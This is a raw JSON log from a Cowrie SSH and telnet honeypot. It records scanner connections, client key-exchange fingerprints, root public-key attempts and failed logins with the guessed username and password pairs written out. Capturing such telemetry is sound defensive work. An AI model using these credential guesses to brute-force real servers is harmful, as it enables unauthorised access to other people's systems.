{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:1d:8e:16:a1:b2:1e:71:59:b5:1d:23:b2:eb:22:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAozfz2EBMCUcJK/OiAm95feUBTWmmLSHmuS/Cc91nA1FT22sLOZO6J2HITmAhNiH+M5xpbgI36ecZoooDO9Hv2Jn3I6xkC4UfBbLm8MTnAoPietgDUgRU9OI3BfPWxJa5VmqIr6x9BSWd9+Ieejy39pN9RgdqWSosmf49wxh7tjnpw6SX69+98ZYqmR4dbHkNCu0cWec2Q6cp0hKfjbgc+ASVKlXedug2Zskz9eCiFGwMs6ycYHkSYu2md3SSzTfG8SiFsgC4U8UdlfQvvU2OmZOOQGLg9KvHCSPQZ8/JVhbR/xc00nvXOPTIiLwAOvMbVIrtw2pvFPKTYGiyDvIznQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:1d:8e:16:a1:b2:1e:71:59:b5:1d:23:b2:eb:22:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.624567Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:1d:8e:16:a1:b2:1e:71:59:b5:1d:23:b2:eb:22:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAozfz2EBMCUcJK/OiAm95feUBTWmmLSHmuS/Cc91nA1FT22sLOZO6J2HITmAhNiH+M5xpbgI36ecZoooDO9Hv2Jn3I6xkC4UfBbLm8MTnAoPietgDUgRU9OI3BfPWxJa5VmqIr6x9BSWd9+Ieejy39pN9RgdqWSosmf49wxh7tjnpw6SX69+98ZYqmR4dbHkNCu0cWec2Q6cp0hKfjbgc+ASVKlXedug2Zskz9eCiFGwMs6ycYHkSYu2md3SSzTfG8SiFsgC4U8UdlfQvvU2OmZOOQGLg9KvHCSPQZ8/JVhbR/xc00nvXOPTIiLwAOvMbVIrtw2pvFPKTYGiyDvIznQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.629132Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:75:42:b4:c4:61:3d:df:dc:68:be:56:d8:15:38:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRGvClxOtsDuxaythxgZ9lgzBuOEODoh5Co/mqs8hzDp3CgjkfL++A+FgFHXn8OeBt3I/AXMhns85hYJGlChkb3eEHNcEwCRfW2Ynuai40+nmh4OTwXJSQp6TVbKgNGLbszWADO3h3C2x2Jy/JnLQrUqqg7S4v5l5rDb5/uyv4GUuc3FI4ImtTc21jbGVLltwVM2CEGgfS5NZCCgZaPZc4OpKJM4qT2krn7vGpXcHbePewuew++HTKUN1TCx+nNLXyAEDPOWUYP1lCrB8E/I/2Xt2lH7ZoEzSPXwtaH/U0/aEJL5W1YN2mTwe3+oiN6CmIunHkPZuzz5B+Oy6JPNUYHwF4REirHlyfZejwI2hWhhAOJoP4Ni78ddAsV/X9otUAA79mDUORYwhyFmu03lk9OJxWuGFp2PMG5C+YelOrq+uBkUyLo3T6qDMG2iNM0gZYfScBvac/cng37dscNP22n4ZSP3UHRn3ZjpR/Jw3r09Dit+/XZuU/V9cyIkDQK4xpkQSWgn7dEn4qJuxDH6MhA96DbHWktDeHI1KzYOTSJURghakW9tJjEYI2/q+bpSa4gQKJW4UQkHi2IdXJD1MoEX/wQPQUevP6N+/o6Xdn93UhnolUrP8BCtDrApLlCIBpsAu+OS3x/EmTpwtoqiU9dApdFgmDI5yxil2XUU5Zkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:75:42:b4:c4:61:3d:df:dc:68:be:56:d8:15:38:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.638573Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:75:42:b4:c4:61:3d:df:dc:68:be:56:d8:15:38:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRGvClxOtsDuxaythxgZ9lgzBuOEODoh5Co/mqs8hzDp3CgjkfL++A+FgFHXn8OeBt3I/AXMhns85hYJGlChkb3eEHNcEwCRfW2Ynuai40+nmh4OTwXJSQp6TVbKgNGLbszWADO3h3C2x2Jy/JnLQrUqqg7S4v5l5rDb5/uyv4GUuc3FI4ImtTc21jbGVLltwVM2CEGgfS5NZCCgZaPZc4OpKJM4qT2krn7vGpXcHbePewuew++HTKUN1TCx+nNLXyAEDPOWUYP1lCrB8E/I/2Xt2lH7ZoEzSPXwtaH/U0/aEJL5W1YN2mTwe3+oiN6CmIunHkPZuzz5B+Oy6JPNUYHwF4REirHlyfZejwI2hWhhAOJoP4Ni78ddAsV/X9otUAA79mDUORYwhyFmu03lk9OJxWuGFp2PMG5C+YelOrq+uBkUyLo3T6qDMG2iNM0gZYfScBvac/cng37dscNP22n4ZSP3UHRn3ZjpR/Jw3r09Dit+/XZuU/V9cyIkDQK4xpkQSWgn7dEn4qJuxDH6MhA96DbHWktDeHI1KzYOTSJURghakW9tJjEYI2/q+bpSa4gQKJW4UQkHi2IdXJD1MoEX/wQPQUevP6N+/o6Xdn93UhnolUrP8BCtDrApLlCIBpsAu+OS3x/EmTpwtoqiU9dApdFgmDI5yxil2XUU5Zkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.642880Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:bf:dc:8c:e7:5f:4b:dd:81:9f:78:38:4a:77:f6:31","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4QViDNKfa8OrhS640S5L4iXd9PtIavKH9IHcjgZXIF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fe:bf:dc:8c:e7:5f:4b:dd:81:9f:78:38:4a:77:f6:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.654159Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:bf:dc:8c:e7:5f:4b:dd:81:9f:78:38:4a:77:f6:31","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4QViDNKfa8OrhS640S5L4iXd9PtIavKH9IHcjgZXIF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.660481Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:3f:a5:fd:1a:85:1f:2e:27:3d:dd:eb:29:96:3c:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTe989EJVCqi7lo8GVL2j8U5b9YiOpNivr0xDnfo+juS88NNyyoa31/chvyRE8KhYkfwt574llis+a7hE8dMp2po5w4F1l97PlHxz2Udtv2yetSS38DlbiiqvaMegW7eypU6dKjb0E0fPJaHl9JBB2mJklmIKDA5Ax1yNl/b8xFW/y3w0GUZ//71lwSlcICR+kNvZ4HvTTPcqFZNcpGIO6zdEgvz5H0jfKLESh2JQlie8Dqj++SE8PYJRfmtEmUrg8NbVUHQTEyyDnbZcrrEWFohzWu2y71FNfq/lDiNB/KtXj86UlmuUE8T//xKiPXDP4tdghc6jxg7zMegzxledL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:3f:a5:fd:1a:85:1f:2e:27:3d:dd:eb:29:96:3c:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.673904Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:3f:a5:fd:1a:85:1f:2e:27:3d:dd:eb:29:96:3c:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTe989EJVCqi7lo8GVL2j8U5b9YiOpNivr0xDnfo+juS88NNyyoa31/chvyRE8KhYkfwt574llis+a7hE8dMp2po5w4F1l97PlHxz2Udtv2yetSS38DlbiiqvaMegW7eypU6dKjb0E0fPJaHl9JBB2mJklmIKDA5Ax1yNl/b8xFW/y3w0GUZ//71lwSlcICR+kNvZ4HvTTPcqFZNcpGIO6zdEgvz5H0jfKLESh2JQlie8Dqj++SE8PYJRfmtEmUrg8NbVUHQTEyyDnbZcrrEWFohzWu2y71FNfq/lDiNB/KtXj86UlmuUE8T//xKiPXDP4tdghc6jxg7zMegzxledL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.678733Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.690623Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":43020,"dst_ip":"10.17.0.5","dst_port":22,"session":"5504a90476a4","protocol":"ssh","message":"New connection: 43.153.85.27:43020 (10.17.0.5:22) [session: 5504a90476a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:19.572370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:19.575816Z","src_ip":"43.153.85.27","session":"5504a90476a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:20.812022Z","src_ip":"43.153.85.27","session":"5504a90476a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2021","message":"login attempt [root/qwer@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:21.536674Z","src_ip":"43.153.85.27","session":"5504a90476a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:22.713444Z","src_ip":"43.153.85.27","session":"5504a90476a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43068,"dst_ip":"10.17.0.5","dst_port":23,"session":"936161927e57","protocol":"telnet","message":"New connection: 152.42.224.71:43068 (10.17.0.5:23) [session: 936161927e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:24.441800Z"}
{"eventid":"cowrie.session.closed","duration":56.75891709327698,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:27.661377Z","src_ip":"152.42.224.71","session":"b65d2de4c3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.70291590690613,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:35.344131Z","src_ip":"152.42.224.71","session":"4b390415054b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.63558650016785,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:47.508065Z","src_ip":"152.42.224.71","session":"df49b3cfcb12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":34724,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56251b619c1","protocol":"ssh","message":"New connection: 185.242.234.173:34724 (10.17.0.5:22) [session: b56251b619c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:49.741163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:49.750427Z","src_ip":"185.242.234.173","session":"b56251b619c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:51.221632Z","src_ip":"185.242.234.173","session":"b56251b619c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:51.832975Z","src_ip":"185.242.234.173","session":"b56251b619c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:53.039115Z","src_ip":"185.242.234.173","session":"b56251b619c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52732,"dst_ip":"159.203.135.109","dst_port":22,"session":"381a47512d49","protocol":"ssh","message":"New connection: 62.133.63.178:52732 (159.203.135.109:22) [session: 381a47512d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:56.174700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:56.179698Z","src_ip":"62.133.63.178","session":"381a47512d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:56.301556Z","src_ip":"62.133.63.178","session":"381a47512d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000001","message":"login attempt [root/0000001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:56.662598Z","src_ip":"62.133.63.178","session":"381a47512d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.049896478652954,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:56.965110Z","src_ip":"152.42.224.71","session":"487e6797b08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:57.785053Z","src_ip":"62.133.63.178","session":"381a47512d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42940,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f0321eee0a","protocol":"telnet","message":"New connection: 152.42.224.71:42940 (10.17.0.5:23) [session: 52f0321eee0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:00.746946Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":48750,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb809fe96ef5","protocol":"ssh","message":"New connection: 59.16.212.232:48750 (159.203.135.109:22) [session: cb809fe96ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:02.548532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:02.553332Z","src_ip":"59.16.212.232","session":"cb809fe96ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:02.764497Z","src_ip":"59.16.212.232","session":"cb809fe96ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":38858,"dst_ip":"10.17.0.5","dst_port":22,"session":"aabac35bc0e3","protocol":"ssh","message":"New connection: 45.117.179.232:38858 (10.17.0.5:22) [session: aabac35bc0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:03.159141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:03.165087Z","src_ip":"45.117.179.232","session":"aabac35bc0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:03.522639Z","src_ip":"45.117.179.232","session":"aabac35bc0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ncc","password":"ncc123","message":"login attempt [ncc/ncc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:03.604317Z","src_ip":"59.16.212.232","session":"cb809fe96ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:04.811929Z","src_ip":"59.16.212.232","session":"cb809fe96ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"David123","message":"login attempt [root/David123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:04.970650Z","src_ip":"45.117.179.232","session":"aabac35bc0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:06.333520Z","src_ip":"45.117.179.232","session":"aabac35bc0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.74282836914062,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:45:16.942665Z","src_ip":"152.42.224.71","session":"ae56fa723bd6","protocol":"telnet"}
